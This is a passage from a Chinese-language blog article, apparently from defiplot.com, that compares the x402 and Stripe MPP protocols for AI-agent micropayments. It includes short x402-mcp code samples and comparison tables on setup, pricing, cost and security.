&#x5BC6;&#x94A5;&#x3001;&#x914D;&#x7F6E;&#x8BA1;&#x8D39;&#x3001;&#x7BA1;&#x7406;&#x8BA2;&#x9605;&#xFF09;&#x662F;&#x4E3A;&#x4F7F;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4EBA;&#x7C7B;&#x8BBE;&#x8BA1;&#x7684;&#x3002;&#x5B83;&#x9700;&#x8981;&#x6709;&#x4EBA;&#x521B;&#x5EFA;&#x5BA2;&#x6237;&#x8D26;&#x6237;&#x3001;&#x8F93;&#x5165;&#x4FE1;&#x7528;&#x5361;&#x4FE1;&#x606F;&#x5E76;&#x7BA1;&#x7406;&#x4EEA;&#x8868;&#x76D8;&#x3002;&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#x65E0;&#x6CD5;&#x505A;&#x5230;&#x5176;&#x4E2D;&#x4EFB;&#x4F55;&#x4E00;&#x9879;&#x3002;&#x6210;&#x672C;&#x7ED3;&#x6784;&#x4E5F;&#x4E0D;&#x5339;&#x914D;&#xFF1A;Stripe &#x7684;&#x6807;&#x51C6;&#x4FE1;&#x7528;&#x5361;&#x5904;&#x7406;&#x8D39;&#x7EA6;&#x4E3A;&#x6BCF;&#x7B14;&#x4EA4;&#x6613; 2.9% + $0.30&#xFF0C;&#x8FD9;&#x4F7F;&#x5F97;&#x4F4E;&#x4E8E;&#x7EA6; $1 &#x7684;&#x6309;&#x8BF7;&#x6C42;&#x8BA1;&#x8D39;&#x53D8;&#x5F97;&#x4E0D;&#x7ECF;&#x6D4E;&#x3002;&#x5F53;&#x4F60;&#x7684; MCP &#x5DE5;&#x5177;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x6536;&#x8D39; $0.01 &#x65F6;&#xFF0C;$0.30 &#x7684;&#x56FA;&#x5B9A;&#x8D39;&#x7528;&#x662F;&#x884C;&#x4E0D;&#x901A;&#x7684;&#x3002;</p><p>&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;&#x4ECD;&#x7136;&#x6709;&#x5176;&#x7528;&#x6B66;&#x4E4B;&#x5730;&#x3002;&#x8BA2;&#x9605;&#x3001;&#x4F01;&#x4E1A;&#x5408;&#x540C;&#x3001;&#x5F00;&#x7968;&#x3001;&#x5408;&#x89C4;&#xFF1A;&#x8FD9;&#x4E9B;&#x90FD;&#x4E0D;&#x4F1A;&#x6D88;&#x5931;&#x3002;&#x5982;&#x679C;&#x4F60;&#x9762;&#x5411;&#x7684;&#x662F;&#x9700;&#x8981;&#x4EEA;&#x8868;&#x76D8;&#x548C;&#x6536;&#x636E;&#x7684;&#x4EBA;&#x7C7B;&#x56E2;&#x961F;&#xFF0C;Stripe &#x7684;&#x6838;&#x5FC3;&#x5E73;&#x53F0;&#x4ECD;&#x7136;&#x662F;&#x6700;&#x4F73;&#x9009;&#x62E9;&#x3002;&#x6211;&#x4EEC;&#x4F1A;&#x5728;&#x672C;&#x6587;&#x672B;&#x5C3E;&#x518D;&#x8BA8;&#x8BBA;&#x5B83;&#x7684;&#x9002;&#x7528;&#x573A;&#x666F;&#x3002;</p><p>&#x4F46;&#x5BF9;&#x4E8E;&#x4EE3;&#x7406;&#x539F;&#x751F;&#x7528;&#x4F8B;&#xFF08;&#x81EA;&#x4E3B;&#x53D1;&#x73B0;&#x3001;&#x6309;&#x8BF7;&#x6C42;&#x5FAE;&#x652F;&#x4ED8;&#x3001;&#x65E0;&#x4EBA;&#x7C7B;&#x53C2;&#x4E0E;&#xFF09;&#xFF0C;2026 &#x5E74;&#x771F;&#x6B63;&#x7684;&#x9009;&#x62E9;&#x5728;&#x4E24;&#x4E2A;&#x4E13;&#x7528;&#x534F;&#x8BAE;&#x4E4B;&#x95F4;&#xFF1A;<strong>x402</strong> &#x548C; <strong>Stripe &#x7684; MPP</strong>&#x3002;</p><h2 id="2%E3%80%81x402%EF%BC%9A%E5%BC%80%E6%94%BE%E3%80%81%E7%AE%80%E5%8D%95%E7%9A%84%E9%80%89%E6%8B%A9">2&#x3001;x402&#xFF1A;&#x5F00;&#x653E;&#x3001;&#x7B80;&#x5355;&#x7684;&#x9009;&#x62E9;</h2><p><a href="https://www.x402.org/?ref=defiplot.com">x402</a> &#x662F;&#x4E00;&#x4E2A;&#x5F00;&#x653E;&#x534F;&#x8BAE;&#xFF08;Apache 2.0&#xFF0C;&#x7531; Coinbase &#x548C; Cloudflare &#x5171;&#x540C;&#x521B;&#x7ACB;&#x7684; x402 &#x57FA;&#x91D1;&#x4F1A;&#x6CBB;&#x7406;&#xFF09;&#xFF0C;&#x5B83;&#x91CD;&#x65B0;&#x5229;&#x7528;&#x4E86;&#x957F;&#x671F;&#x4F11;&#x7720;&#x7684; <code>HTTP 402</code>&#xFF08;&quot;Payment Required&quot;&#xFF09;&#x72B6;&#x6001;&#x7801;&#x3002;&#x6D41;&#x7A0B;&#x6781;&#x5176;&#x7CBE;&#x7B80;&#xFF1A;</p><ol><li>&#x5BA2;&#x6237;&#x7AEF;&#x8BF7;&#x6C42;&#x53D7;&#x4FDD;&#x62A4;&#x7684;&#x8D44;&#x6E90;&#x3002;</li><li>&#x670D;&#x52A1;&#x5668;&#x54CD;&#x5E94; <code>HTTP 402</code> &#x548C;&#x673A;&#x5668;&#x53EF;&#x8BFB;&#x7684;&#x652F;&#x4ED8;&#x6307;&#x4EE4;&#xFF08;&#x4EF7;&#x683C;&#x3001;&#x4EE3;&#x5E01;&#x3001;&#x94FE;&#x3001;&#x6536;&#x6B3E;&#x94B1;&#x5305;&#xFF09;&#x3002;</li><li>&#x5BA2;&#x6237;&#x7AEF;&#x5728;&#x94FE;&#x4E0A;&#x652F;&#x4ED8;&#xFF08;&#x901A;&#x5E38;&#x662F; Base &#x6216; Solana &#x4E0A;&#x7684; USDC&#xFF09;&#xFF0C;&#x5C06;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x9644;&#x52A0;&#x5230;&#x91CD;&#x8BD5;&#x8BF7;&#x6C42;&#x4E2D;&#x3002;</li><li>&#x670D;&#x52A1;&#x5668;&#x9A8C;&#x8BC1;&#x7ED3;&#x7B97;&#x5E76;&#x8FD4;&#x56DE;&#x54CD;&#x5E94;&#x3002;</li></ol><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/69c1531e9fab445a3b697a1d_1.webp" class="kg-image" alt="AI&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#xFF1A;x402 vs. MPP" loading="lazy"></figure><p>&#x65E0;&#x9700;&#x8D26;&#x6237;&#x3001;API &#x5BC6;&#x94A5;&#x6216;&#x8BA2;&#x9605;&#x3002;&#x652F;&#x4ED8;&#x6536;&#x636E;<em>&#x5C31;&#x662F;</em>&#x51ED;&#x8BC1;&#x3002;</p><p>&#x5BF9;&#x4E8E; MCP &#x670D;&#x52A1;&#x5668;&#xFF0C;Vercel &#x6784;&#x5EFA;&#x4E86; <a href="https://vercel.com/blog/introducing-x402-mcp-open-protocol-payments-for-mcp-tools?ref=defiplot.com"><strong>x402-mcp</strong></a>&#xFF1A;&#x4E00;&#x4E2A;&#x5C06; x402 &#x534F;&#x8BAE;&#x5C01;&#x88C5;&#x5230; Vercel AI SDK &#x4E2D;&#x7684; npm &#x5305;&#x3002;&#x5B83;&#x5F15;&#x5165;&#x4E86; <code>paidTool</code> &#x539F;&#x8BED;&#xFF0C;&#x8BA9;&#x4F60;&#x53EF;&#x4EE5;&#x4E3A;&#x4EFB;&#x4F55; MCP &#x5DE5;&#x5177;&#x58F0;&#x660E;&#x4EF7;&#x683C;&#x5E76;&#x5728;&#x6267;&#x884C;&#x524D;&#x8981;&#x6C42;&#x652F;&#x4ED8;&#x3002;&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x6548;&#x679C;&#x5982;&#x4E0B;&#xFF1A;</p><pre><code>import { createPaidMcpHandler } from &quot;x402-mcp&quot;;
import z from &quot;zod&quot;;

const handler = createPaidMcpHandler(
  (server) =&gt; {
    server.paidTool(
      &quot;weather_lookup&quot;,
      { price: 0.001 },                          // $0.001 per call
      { location: z.string() },
      async ({ location }) =&gt; {
        // your tool logic here
        return { temperature: 72, conditions: &quot;sunny&quot; };
      }
    );
  },
  { recipient: process.env.WALLET_ADDRESS }
);

export { handler as GET, handler as POST };
</code></pre><p>&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5B8C;&#x6574;&#x7684;&#x4ED8;&#x8D39; MCP &#x5DE5;&#x5177;&#xFF1A;&#x6A21;&#x5F0F;&#x9A8C;&#x8BC1;&#x3001;&#x5B9A;&#x4EF7;&#x548C;&#x652F;&#x4ED8;&#x6267;&#x884C;&#x90FD;&#x5728;&#x4E00;&#x4E2A;&#x58F0;&#x660E;&#x4E2D;&#x5B8C;&#x6210;&#x3002;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x5305;&#x88C5;&#x5668;&#x5C31;&#x80FD;&#x5B9E;&#x73B0;&#x81EA;&#x52A8;&#x652F;&#x4ED8;&#x5904;&#x7406;&#xFF1A;</p><pre><code>import { experimental_createMCPClient as createMCPClient } from &quot;ai&quot;;
import { withPayment } from &quot;x402-mcp&quot;;

const mcpClient = await createMCPClient({
  transport: new StreamableHTTPClientTransport(url),
}).then((client) =&gt; withPayment(client, { account }));

const tools = await mcpClient.tools();  // paid tools just work
</code></pre><p>&#x867D;&#x7136; x402-mcp &#x662F;&#x5728; MCP &#x4E2D;&#x4F7F;&#x7528; x402 &#x6700;&#x4FBF;&#x6377;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x4F46;&#x534F;&#x8BAE;&#x672C;&#x8EAB;&#x4E0E;&#x6846;&#x67B6;&#x65E0;&#x5173;&#xFF0C;&#x62E5;&#x6709;&#x9002;&#x7528;&#x4E8E; Express&#x3001;Hono&#x3001;Next.js &#x7B49;&#x6846;&#x67B6;&#x7684;&#x4E2D;&#x95F4;&#x4EF6;&#x3002;</p><blockquote>x402 &#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x5B8C;&#x6574;&#x7684;&#x652F;&#x4ED8;&#x5E73;&#x53F0;&#x3002;&#x5B83;&#x4E0D;&#x5904;&#x7406;&#x8BA2;&#x9605;&#x3001;&#x5F00;&#x7968;&#x3001;&#x5BA2;&#x6237;&#x7BA1;&#x7406;&#x3001;&#x7A0E;&#x52A1;&#x5408;&#x89C4;&#x6216;&#x9000;&#x6B3E;&#x4E89;&#x8BAE;&#x3002;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x534F;&#x8BAE;&#x7EA7;&#x522B;&#x7684;&#x6309;&#x8BF7;&#x6C42;&#x652F;&#x4ED8;&#x539F;&#x8BED;&#x3002;</blockquote><h2 id="3%E3%80%81stripe-mpp%EF%BC%9A%E9%AB%98%E5%90%9E%E5%90%90%E9%87%8F%E3%80%81%E5%86%85%E7%BD%AE%E5%90%88%E8%A7%84%E7%9A%84%E9%80%89%E6%8B%A9">3&#x3001;Stripe MPP&#xFF1A;&#x9AD8;&#x541E;&#x5410;&#x91CF;&#x3001;&#x5185;&#x7F6E;&#x5408;&#x89C4;&#x7684;&#x9009;&#x62E9;</h2><p>MPP &#x4E8E; 2026 &#x5E74; 3 &#x6708; 18 &#x65E5;&#x968F; Tempo &#x4E3B;&#x7F51;&#x4E00;&#x540C;&#x63A8;&#x51FA;&#xFF0C;&#x7531; Stripe &#x548C; Tempo &#x5171;&#x540C;&#x7F16;&#x5199;&#x3002;x402 &#x8981;&#x6C42;&#x6BCF;&#x4E2A;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x533A;&#x5757;&#x94FE;&#x4EA4;&#x6613;&#xFF0C;&#x800C; MPP &#x5F15;&#x5165;&#x4E86;<strong>&#x4F1A;&#x8BDD;</strong>&#x7684;&#x6982;&#x5FF5;&#xFF1A;&#x4EE3;&#x7406;&#x9884;&#x5148;&#x6388;&#x6743;&#x4E00;&#x4E2A;&#x6D88;&#x8D39;&#x9650;&#x989D;&#xFF0C;&#x7136;&#x540E;&#x6301;&#x7EED;&#x5BF9;&#x8BE5;&#x4F1A;&#x8BDD;&#x6D41;&#x5F0F;&#x652F;&#x4ED8;&#x5FAE;&#x4ED8;&#x6B3E;&#xFF0C;&#x65E0;&#x9700;&#x4E3A;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x5355;&#x72EC;&#x8FDB;&#x884C;&#x94FE;&#x4E0A;&#x4EA4;&#x6613;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/69c1569bf74af0c7232ca12a_4.webp" class="kg-image" alt="AI&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#xFF1A;x402 vs. MPP" loading="lazy"></figure><p>&#x8FD9;&#x5BF9;&#x9AD8;&#x9891;&#x573A;&#x666F;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x3002;&#x5982;&#x679C;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x6BCF;&#x5C0F;&#x65F6;&#x67E5;&#x8BE2;&#x6570;&#x636E;&#x6E90;&#x6570;&#x5343;&#x6B21;&#xFF0C;&#x4F60;&#x4E0D;&#x4F1A;&#x5E0C;&#x671B;&#x6BCF;&#x6B21;&#x90FD;&#x7B7E;&#x540D;&#x5E76;&#x5E7F;&#x64AD;&#x94FE;&#x4E0A;&#x4EA4;&#x6613;&#x3002;&#x4F1A;&#x8BDD;&#x901A;&#x8FC7;&#x805A;&#x5408;&#x652F;&#x4ED8;&#x5E76;&#x6279;&#x91CF;&#x7ED3;&#x7B97;&#x6765;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x3002;</p><p>Tempo &#x7684;&#x94FE;&#x662F;&#x4E3A;&#x6B64;&#x4E13;&#x95E8;&#x6784;&#x5EFA;&#x7684;&#x3002;&#x5B83;&#x6BCF;&#x79D2;&#x5904;&#x7406;&#x6570;&#x4E07;&#x7B14;&#x4EA4;&#x6613;&#xFF0C;&#x5177;&#x6709;&#x4E9A;&#x79D2;&#x7EA7;&#x6700;&#x7EC8;&#x6027;&#xFF0C;&#x5E76;&#x4E14;&#x6CA1;&#x6709;&#x539F;&#x751F; Gas &#x4EE3;&#x5E01;&#xFF1B;&#x8D39;&#x7528;&#x4EE5;&#x7A33;&#x5B9A;&#x5E01;&#x652F;&#x4ED8;&#x3002;MPP &#x6D41;&#x5165; Stripe &#x73B0;&#x6709;&#x7684; PaymentIntents API&#xFF0C;&#x56E0;&#x6B64;&#x5546;&#x5BB6;&#x53EF;&#x4EE5;&#x83B7;&#x5F97;&#x6B3A;&#x8BC8;&#x68C0;&#x6D4B;&#xFF08;Radar&#xFF09;&#x3001;&#x7A0E;&#x52A1;&#x5904;&#x7406;&#x548C;&#x62A5;&#x544A;&#x529F;&#x80FD;&#x3002;</p><p>MPP &#x8FD8;&#x4E0E; Stripe &#x7684; <strong>&#x5171;&#x4EAB;&#x652F;&#x4ED8;&#x4EE4;&#x724C;&#xFF08;Shared Payment Tokens&#xFF0C;SPTs&#xFF09;</strong>&#x534F;&#x540C;&#x5DE5;&#x4F5C;&#xFF0C;&#x610F;&#x5473;&#x7740;&#x901A;&#x8FC7; MPP &#x652F;&#x4ED8;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Tempo &#x4E0A;&#x7684; USDC <em>&#x6216;</em>&#x7528;&#x6237;&#x5173;&#x8054;&#x7684; Visa &#x5361;&#x3002;&#x8FD9;&#x79CD;&#x6DF7;&#x5408;&#x6CD5;&#x5E01; + &#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x7684;&#x80FD;&#x529B;&#x662F;&#x8BE5;&#x65B9;&#x6848;&#x7684;&#x72EC;&#x7279;&#x4F18;&#x52BF;&#x3002;</p><h2 id="4%E3%80%81x402-vs-stripe-mpp%EF%BC%9A%E6%AD%A3%E9%9D%A2%E6%AF%94%E8%BE%83">4&#x3001;x402 vs. Stripe MPP&#xFF1A;&#x6B63;&#x9762;&#x6BD4;&#x8F83;</h2><h3 id="41-%E5%BC%80%E5%8F%91%E8%80%85%E4%BD%93%E9%AA%8C">4.1 &#x5F00;&#x53D1;&#x8005;&#x4F53;&#x9A8C;</h3><p>x402 &#x5728;&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#x9886;&#x57DF;&#x7684;&#x5165;&#x95E8;&#x95E8;&#x69DB;&#x6700;&#x4F4E;&#x3002;&#x4F7F;&#x7528; <code>x402-mcp</code> &#x5305;&#xFF0C;&#x4F60;&#x53EA;&#x9700;&#x5B9A;&#x4E49;&#x4E00;&#x4E2A;&#x5E26;&#x6709;&#x4EF7;&#x683C;&#x7684; <code>paidTool</code>&#xFF0C;&#x6307;&#x5411;&#x4E00;&#x4E2A;&#x94B1;&#x5305;&#x5730;&#x5740;&#xFF0C;&#x5C31;&#x5B8C;&#x6210;&#x4E86;&#x3002;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x7528; <code>withPayment()</code> &#x5305;&#x88C5; MCP &#x5BA2;&#x6237;&#x7AEF;&#x5373;&#x53EF;&#x81EA;&#x52A8;&#x5904;&#x7406; 402 &#x63E1;&#x624B;&#x3002;</p><p>MPP &#x9700;&#x8981; Stripe &#x96C6;&#x6210;&#xFF0C;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x66F4;&#x591A;&#x7684;&#x8BBE;&#x7F6E;&#x5DE5;&#x4F5C;&#xFF08;SDK&#x3001;&#x4EEA;&#x8868;&#x76D8;&#x3001;PaymentIntents&#xFF09;&#x3002;&#x4F46;&#x5982;&#x679C;&#x4F60;&#x5DF2;&#x7ECF;&#x5728;&#x4F7F;&#x7528; Stripe&#xFF0C;&#x6DFB;&#x52A0; MPP &#x66F4;&#x50CF;&#x662F;&#x914D;&#x7F6E;&#x53D8;&#x66F4;&#x800C;&#x975E;&#x5E73;&#x53F0;&#x8FC1;&#x79FB;&#x3002;&#x4F1A;&#x8BDD;&#x7BA1;&#x7406;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x589E;&#x52A0;&#x4E86;&#x4E00;&#x4E9B;&#x590D;&#x6742;&#x6027;&#xFF0C;&#x4F46;&#x4F5C;&#x4E3A;&#x56DE;&#x62A5;&#xFF0C;Stripe &#x5904;&#x7406;&#x7ED3;&#x7B97;&#x3001;&#x5408;&#x89C4;&#x548C;&#x62A5;&#x544A;&#x3002;</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>&#x7EF4;&#x5EA6;</th>
<th>x402</th>
<th>Stripe MPP</th>
</tr>
</thead>
<tbody>
<tr>
<td>&#x8BBE;&#x7F6E;&#x590D;&#x6742;&#x5EA6;</td>
<td>~5 &#x884C;&#x4EE3;&#x7801;&#xFF0C;&#x4E00;&#x4E2A;&#x94B1;&#x5305;&#x5730;&#x5740;</td>
<td>Stripe SDK + &#x4F1A;&#x8BDD;&#x914D;&#x7F6E;</td>
</tr>
<tr>
<td>&#x9996;&#x6B21;&#x4ED8;&#x8D39;&#x8BF7;&#x6C42;&#x65F6;&#x95F4;</td>
<td>&#x5206;&#x949F;&#x7EA7;</td>
<td>&#x5C0F;&#x65F6;&#x7EA7;&#xFF08;&#x5DF2;&#x5728; Stripe &#x4E0A;&#x5219;&#x66F4;&#x5FEB;&#xFF09;</td>
</tr>
<tr>
<td>&#x6D88;&#x8D39;&#x8005;&#x5165;&#x9A7B;</td>
<td>&#x65E0;&#x9700;&#xFF1B;&#x4E0D;&#x9700;&#x8981;&#x8D26;&#x6237;</td>
<td>Stripe &#x8D26;&#x6237;&#x6216;&#x4EE3;&#x7406;&#x94B1;&#x5305;</td>
</tr>
<tr>
<td>&#x6301;&#x7EED;&#x7EF4;&#x62A4;</td>
<td>&#x6700;&#x5C0F;&#x5316;&#xFF0C;&#x65E0;&#x72B6;&#x6001;</td>
<td>Stripe &#x4EEA;&#x8868;&#x76D8; + &#x4F1A;&#x8BDD;&#x76D1;&#x63A7;</td>
</tr>
<tr>
<td>MCP &#x539F;&#x751F;&#x96C6;&#x6210;</td>
<td>&#x4E00;&#x7B49;&#x516C;&#x6C11;&#xFF08;paidTool &#x539F;&#x8BED;&#xFF09;</td>
<td>&#x9700;&#x8981;&#x96C6;&#x6210;&#x5C42;</td>
</tr>
<tr>
<td>&#x5408;&#x89C4;&#x3001;&#x6B3A;&#x8BC8;&#x3001;&#x7A0E;&#x52A1;</td>
<td>&#x81EA;&#x884C;&#x8D1F;&#x8D23;</td>
<td>&#x901A;&#x8FC7; Stripe &#x5185;&#x7F6E;</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><h3 id="42-%E5%AE%9A%E4%BB%B7%E6%A8%A1%E5%9E%8B">4.2 &#x5B9A;&#x4EF7;&#x6A21;&#x578B;</h3><p>&#x4E24;&#x79CD;&#x534F;&#x8BAE;&#x90FD;&#x9488;&#x5BF9;&#x6309;&#x8BF7;&#x6C42;&#x548C;&#x5FAE;&#x652F;&#x4ED8;&#x5B9A;&#x4EF7;&#xFF0C;&#x4F46;&#x6267;&#x884C;&#x65B9;&#x5F0F;&#x4E0D;&#x540C;&#x3002;</p><p>x402 &#x5C06;&#x6BCF;&#x4E2A;&#x8BF7;&#x6C42;&#x7ED3;&#x7B97;&#x4E3A;&#x72EC;&#x7ACB;&#x7684;&#x94FE;&#x4E0A;&#x652F;&#x4ED8;&#x3002;&#x7B80;&#x5355;&#x3001;&#x900F;&#x660E;&#xFF0C;&#x4F46;&#x610F;&#x5473;&#x7740;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x90FD;&#x4F1A;&#x4EA7;&#x751F;&#x533A;&#x5757;&#x94FE;&#x5F00;&#x9500;&#xFF08;&#x5C3D;&#x7BA1;&#x5728; Base &#x4E0A;&#x8FD9;&#x4E2A;&#x5F00;&#x9500;&#x5F88;&#x5C0F;&#xFF09;&#x3002;</p><p>MPP &#x5728;&#x4F1A;&#x8BDD;&#x5185;&#x805A;&#x5408;&#x652F;&#x4ED8;&#x5E76;&#x6279;&#x91CF;&#x7ED3;&#x7B97;&#x3002;&#x8FD9;&#x4F7F;&#x5F97;&#x5B83;&#x5728;&#x9AD8;&#x9891;&#x573A;&#x666F;&#x4E2D;&#x66F4;&#x9AD8;&#x6548;&#xFF0C;&#x56E0;&#x4E3A;&#x5728;&#x6570;&#x5343;&#x6B21;&#x8C03;&#x7528;&#x4E2D;&#x6BCF;&#x6B21;&#x4EA4;&#x6613;&#x7684;&#x5F00;&#x9500;&#x4F1A;&#x7D2F;&#x79EF;&#x3002;</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>&#x5B9A;&#x4EF7;&#x6A21;&#x578B;</th>
<th>x402</th>
<th>Stripe MPP</th>
</tr>
</thead>
<tbody>
<tr>
<td>&#x6309;&#x8BF7;&#x6C42;&#x4ED8;&#x8D39;</td>
<td>&#x2713; &#x4F18;&#x79C0;</td>
<td>&#x2713; &#x4F18;&#x79C0;</td>
</tr>
<tr>
<td>&#x5FAE;&#x652F;&#x4ED8;&#xFF08;&lt;$0.01&#xFF09;</td>
<td>&#x2713; &#x7406;&#x60F3;</td>
<td>&#x2713; &#x7406;&#x60F3;</td>
</tr>
<tr>
<td>&#x9AD8;&#x9891;&#x6D41;&#x5F0F;&#x652F;&#x4ED8;</td>
<td>&#x2717; &#x6BCF;&#x6B21;&#x8BF7;&#x6C42;&#x4E00;&#x7B14;&#x4EA4;&#x6613;</td>
<td>&#x2713; &#x57FA;&#x4E8E;&#x4F1A;&#x8BDD;&#x7684;&#x805A;&#x5408;</td>
</tr>
<tr>
<td>&#x6DF7;&#x5408;&#x6CD5;&#x5E01; + &#x52A0;&#x5BC6;</td>
<td>&#x2717; &#x4EC5;&#x52A0;&#x5BC6;&#xFF08;USDC&#xFF09;</td>
<td>&#x2713; USDC + &#x901A;&#x8FC7; SPTs &#x5173;&#x8054;&#x7684;&#x94F6;&#x884C;&#x5361;</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><h3 id="43-%E6%88%90%E6%9C%AC%E7%BB%93%E6%9E%84">4.3 &#x6210;&#x672C;&#x7ED3;&#x6784;</h3><p><strong>x402&#xFF1A;</strong> Base &#x4E0A;&#x7684;&#x4EA4;&#x6613;&#x7ED3;&#x7B97;&#x8D39;&#x7528;&#x4E0D;&#x5230;&#x4E00;&#x5206;&#x94B1;&#x3002;&#x6CA1;&#x6709;&#x5E73;&#x53F0;&#x8D39;&#xFF1B;&#x53EA;&#x6709;&#x540D;&#x4E49;&#x4E0A;&#x7684;&#x533A;&#x5757;&#x94FE;&#x7F51;&#x7EDC;&#x8D39;&#x7528;&#x3002;&#x4E00;&#x6B21; $0.01 &#x7684; API &#x8C03;&#x7528;&#x603B;&#x8D39;&#x7528;&#x7EA6;&#x4E3A; $0.011&#x3002;&#x4E9A;&#x7F8E;&#x5206;&#x5B9A;&#x4EF7;&#x53D8;&#x5F97;&#x7ECF;&#x6D4E;&#x53EF;&#x884C;&#x3002;</p><p><strong>MPP&#xFF1A;</strong> Tempo &#x6CA1;&#x6709;&#x539F;&#x751F; Gas &#x4EE3;&#x5E01;&#xFF1B;&#x8D39;&#x7528;&#x4EE5;&#x7A33;&#x5B9A;&#x5E01;&#x652F;&#x4ED8;&#xFF0C;&#x8BBE;&#x8BA1;&#x4E0A;&#x53EF;&#x4EE5;&#x5FFD;&#x7565;&#x4E0D;&#x8BA1;&#x3002;&#x57FA;&#x4E8E;&#x4F1A;&#x8BDD;&#x7684;&#x805A;&#x5408;&#x8FDB;&#x4E00;&#x6B65;&#x964D;&#x4F4E;&#x4E86;&#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x7684;&#x5F00;&#x9500;&#x3002;&#x7531;&#x4E8E; MPP &#x7ED3;&#x7B97;&#x8FDB;&#x5165; Stripe&#xFF0C;&#x5546;&#x5BB6;&#x83B7;&#x5F97; Stripe &#x7684;&#x5904;&#x7406;&#x80FD;&#x529B;&#xFF0C;&#x4F46;&#x94FE;&#x4E0A;&#x73AF;&#x8282;&#x5F88;&#x4FBF;&#x5B9C;&#x3002;</p><p>&#x4E24;&#x8005;&#x90FD;&#x6BD4;&#x4F20;&#x7EDF;&#x7684;&#x4FE1;&#x7528;&#x5361;&#x5904;&#x7406;&#x4FBF;&#x5B9C;&#x51E0;&#x4E2A;&#x6570;&#x91CF;&#x7EA7;&#x3002;x402 &#x548C; MPP &#x4E4B;&#x95F4;&#x7684;&#x6210;&#x672C;&#x5DEE;&#x5F02;<em>&#x672C;&#x8EAB;</em>&#x5F88;&#x5C0F;&#xFF1B;&#x66F4;&#x5927;&#x7684;&#x533A;&#x522B;&#x5728;&#x4E8E;&#x5305;&#x542B;&#x4EC0;&#x4E48;&#xFF08;MPP &#x6346;&#x7ED1;&#x4E86;&#x5408;&#x89C4;&#xFF09;&#x4E0E;&#x4F60;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x6784;&#x5EFA;&#x4EC0;&#x4E48;&#xFF08;x402 &#x7559;&#x7ED9;&#x4F60;&#x81EA;&#x5DF1;&#x5904;&#x7406;&#xFF09;&#x3002;</p><h3 id="44-%E5%AE%89%E5%85%A8%E4%B8%8E%E4%BF%A1%E4%BB%BB">4.4 &#x5B89;&#x5168;&#x4E0E;&#x4FE1;&#x4EFB;</h3><p>&#x8FD9;&#x662F;&#x4E24;&#x79CD;&#x65B9;&#x6CD5;&#x5728;&#x51B3;&#x7B56;&#x8005;&#x773C;&#x4E2D;&#x5206;&#x6B67;&#x6700;&#x5927;&#x7684;&#x5730;&#x65B9;&#x3002;</p><ul><li><strong>x402 &#x5B89;&#x5168;&#x6A21;&#x578B;&#xFF1A;</strong> &#x652F;&#x4ED8;&#x7ECF;&#x8FC7;&#x52A0;&#x5BC6;&#x7B7E;&#x540D;&#x5E76;&#x5728;&#x94FE;&#x4E0A;&#x7ED3;&#x7B97;&#xFF0C;&#x63D0;&#x4F9B;&#x6700;&#x7EC8;&#x6027;&#x548C;&#x900F;&#x660E;&#x5EA6;&#x3002;&#x6CA1;&#x6709;&#x9000;&#x6B3E;&#xFF1B;&#x4E00;&#x65E6;&#x652F;&#x4ED8;&#xFF0C;&#x5373;&#x5DF2;&#x7ED3;&#x7B97;&#x3002;&#x4F46;&#x53CD;&#x9762;&#x662F;&#xFF1A;&#x5982;&#x679C;&#x4EE3;&#x7406;&#x591A;&#x4ED8;&#x4E86;&#x94B1;&#x6216;&#x652F;&#x4ED8;&#x7ED9;&#x4E86;&#x6076;&#x610F;&#x7AEF;&#x70B9;&#xFF0C;&#x6CA1;&#x6709;&#x5185;&#x7F6E;&#x7684;&#x8FFD;&#x7D22;&#x673A;&#x5236;&#x3002;V2 &#x89C4;&#x8303;&#xFF08;2025 &#x5E74; 12 &#x6708;&#xFF09;&#x5F15;&#x5165;&#x4E86;&#x52A8;&#x6001;&#x652F;&#x4ED8;&#x8DEF;&#x7531;&#x548C;&#x6A21;&#x5757;&#x5316; 